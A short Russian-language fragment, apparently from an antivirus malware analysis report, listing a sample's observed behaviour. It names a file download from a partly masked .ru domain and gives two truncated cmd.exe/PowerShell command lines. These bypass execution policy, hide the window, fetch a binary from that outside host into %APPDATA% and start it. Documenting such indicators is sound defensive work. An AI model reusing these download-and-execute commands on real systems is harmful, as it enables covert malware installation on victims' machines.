Техническая информация
- http://my.####rnaldating.ru/js/boxun4.bin как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-objectSystem.net.webclient).downloadfile('http://my.####rnaldating.ru/js/boxun4.bin','%APPDATA%.exe'); start-proces...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-objectSystem.net.webclient).downloadfile('http://my.####rnaldating.ru/js/boxun4.bin','%APPDATA%.exe'); start-proces...